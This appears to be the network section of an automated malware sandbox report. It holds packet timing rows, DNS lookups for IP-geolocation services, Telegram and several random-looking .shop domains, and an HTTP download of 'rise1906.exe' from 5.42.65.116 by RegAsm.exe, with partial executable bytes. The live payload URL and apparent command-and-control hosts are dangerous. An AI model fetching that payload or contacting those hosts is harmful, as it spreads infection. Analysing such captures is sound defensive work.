Jun 20, 2024 06:49:26.320538998 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.320554018 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.320590019 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.320628881 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.320677042 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.320681095 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.320715904 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.320727110 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.320749998 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.320787907 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.320805073 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330132961 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330142021 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330176115 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330176115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330199957 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330209970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330240965 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330261946 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330262899 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330296040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330319881 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330329895 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.330353022 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.330374002 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337476015 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337526083 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337543964 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337570906 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337579012 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337614059 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337630033 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337646961 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337678909 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337680101 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337712049 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337714911 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.337729931 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.337762117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350128889 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350182056 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350203037 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350230932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350233078 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350270033 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350284100 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350320101 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350356102 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350368023 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350389957 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350409031 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350425959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350441933 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350460052 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350512981 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350545883 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350579023 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350600958 CEST	443	49780	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:26.350610018 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350635052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350677967 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350692987 CEST	49780	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:26.350711107 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350722075 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350730896 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350764036 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350812912 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.350814104 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.350888014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.352080107 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352132082 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352164030 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352183104 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.352199078 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352225065 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.352248907 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352256060 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.352284908 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352307081 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.352319956 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352332115 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.352355003 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.352405071 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.353394032 CEST	49780	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:26.353405952 CEST	443	49780	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:26.353786945 CEST	443	49780	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:26.355082035 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355132103 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355165958 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355170012 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.355205059 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.355215073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355248928 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355281115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355298996 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.355314970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.355329990 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.355365992 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360325098 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360378027 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360400915 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360426903 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360433102 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360479116 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360527039 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360527992 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360546112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360563993 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360578060 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360599995 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.360610962 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.360646009 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366275072 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366326094 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366359949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366409063 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366435051 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366435051 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366435051 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366446972 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366458893 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366472960 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366494894 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366499901 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.366509914 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.366749048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370409966 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370460033 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370490074 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370523930 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370574951 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370608091 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370621920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370621920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370621920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370641947 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370676041 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.370676041 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370676041 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370692968 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.370713949 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.374798059 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.374830961 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.374862909 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.374913931 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.374947071 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.374974966 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.374974966 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.374974966 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.374994040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.375027895 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.375030994 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.375030994 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.375045061 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.375061035 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.375112057 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377640963 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377670050 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377703905 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377718925 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377726078 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377769947 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377803087 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377820969 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377836943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377865076 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377870083 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377901077 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377902985 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.377918959 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.377950907 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383038998 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383089066 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383100033 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383122921 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383153915 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383188009 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383219004 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383275032 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383275032 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383275032 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383285999 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383322954 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383336067 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.383346081 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.383393049 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.384270906 CEST	49780	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:26.386523962 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386555910 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386593103 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.386605978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386624098 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.386639118 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386672974 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386692047 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.386706114 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386722088 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.386740923 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.386751890 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.386790037 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.387480021 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.387532949 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.392755032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392784119 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392832994 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392867088 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392899036 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392931938 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392946959 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.392947912 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.392947912 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.392947912 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.392966032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.392983913 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.393014908 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.393301964 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.393445015 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.398395061 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398447037 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398478031 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398567915 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398610115 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.398610115 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.398617029 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398643970 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:26.398652077 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398689032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398699999 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:26.398813009 CEST	49773	9000	192.168.2.4	162.55.53.18

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 20, 2024 06:49:05.451170921 CEST	192.168.2.4	1.1.1.1	0x447d	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:06.147633076 CEST	192.168.2.4	1.1.1.1	0x441a	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:14.279467106 CEST	192.168.2.4	1.1.1.1	0x20ed	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.678105116 CEST	192.168.2.4	1.1.1.1	0x4934	Standard query (0)	justifycanddidatewd.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.689889908 CEST	192.168.2.4	1.1.1.1	0xea35	Standard query (0)	marathonbeedksow.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.713361025 CEST	192.168.2.4	1.1.1.1	0x39aa	Standard query (0)	feighminoritsjda.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.737804890 CEST	192.168.2.4	1.1.1.1	0x1756	Standard query (0)	pleasurenarrowsdla.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.750298977 CEST	192.168.2.4	1.1.1.1	0x7d4b	Standard query (0)	falseaudiencekd.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.769416094 CEST	192.168.2.4	1.1.1.1	0xd5bc	Standard query (0)	raiseboltskdlwpow.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.789927006 CEST	192.168.2.4	1.1.1.1	0xdbc8	Standard query (0)	strwawrunnygjwu.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.859159946 CEST	192.168.2.4	1.1.1.1	0x6e15	Standard query (0)	richardflorespoew.shop	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:25.793613911 CEST	192.168.2.4	1.1.1.1	0xc31c	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 20, 2024 06:49:05.458991051 CEST	1.1.1.1	192.168.2.4	0x447d	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:06.154616117 CEST	1.1.1.1	192.168.2.4	0x441a	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:06.154616117 CEST	1.1.1.1	192.168.2.4	0x441a	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:06.154616117 CEST	1.1.1.1	192.168.2.4	0x441a	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:14.286699057 CEST	1.1.1.1	192.168.2.4	0x20ed	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.687432051 CEST	1.1.1.1	192.168.2.4	0x4934	Name error (3)	justifycanddidatewd.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.699224949 CEST	1.1.1.1	192.168.2.4	0xea35	Name error (3)	marathonbeedksow.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.722110987 CEST	1.1.1.1	192.168.2.4	0x39aa	Name error (3)	feighminoritsjda.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.747158051 CEST	1.1.1.1	192.168.2.4	0x1756	Name error (3)	pleasurenarrowsdla.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.760675907 CEST	1.1.1.1	192.168.2.4	0x7d4b	Name error (3)	falseaudiencekd.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.778512001 CEST	1.1.1.1	192.168.2.4	0xd5bc	Name error (3)	raiseboltskdlwpow.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.799176931 CEST	1.1.1.1	192.168.2.4	0xdbc8	Name error (3)	strwawrunnygjwu.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:15.868072987 CEST	1.1.1.1	192.168.2.4	0x6e15	Name error (3)	richardflorespoew.shop	none	none	A (IP address)	IN (0x0001)	false
Jun 20, 2024 06:49:25.800904989 CEST	1.1.1.1	192.168.2.4	0xc31c	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	5.42.65.116	80	6788	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 06:49:09.188915014 CEST	218	OUT	HEAD /rise1906.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
Jun 20, 2024 06:49:09.854008913 CEST	275	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Jun 2024 22:33:06 GMT ETag: "1cc400-61b31aa6abb30" Accept-Ranges: bytes Content-Length: 1885184 Content-Type: application/x-msdownload
Jun 20, 2024 06:49:09.855623007 CEST	217	OUT	GET /rise1906.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
Jun 20, 2024 06:49:10.052514076 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 04:49:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Tue, 18 Jun 2024 22:33:06 GMT ETag: "1cc400-61b31aa6abb30" Accept-Ranges: bytes Content-Length: 1885184 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 19 b3 f5 7c 5d d2 9b 2f 5d d2 9b 2f 5d d2 9b 2f 8e a0 98 2e 4c d2 9b 2f 8e a0 9e 2e ec d2 9b 2f 8e a0 9f 2e 4b d2 9b 2f 9f 53 9f 2e 4f d2 9b 2f 9f 53 98 2e 48 d2 9b 2f 8e a0 9a 2e 54 d2 9b 2f 5d d2 9a 2f dc d2 9b 2f 9f 53 9e 2e 0a d2 9b 2f ae 50 9e 2e 5c d2 9b 2f ae 50 99 2e 5c d2 9b 2f 52 69 63 68 5d d2 9b 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1f 0b 72 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 b0 02 00 00 22 1a 00 00 00 00 00 b9 b7 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 1c 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\|]/]/]/.L/./.K/S.O/S.H/.T/]//S./P.\/P.\/Rich]/PELrf'"@@l<KJ@@.textP `.rdata^@@.dataL<h@.reloc @B
Jun 20, 2024 06:49:10.052578926 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 c0 ba 5c 00 e8 b2 80 00 00 68 c4 bd 42 00 e8 eb a9 00 Data Ascii: \hBYhBYhBYjjh\\hBYVWj_0Y\KjV\B3hB\|Y_^\\\H\,\\hB
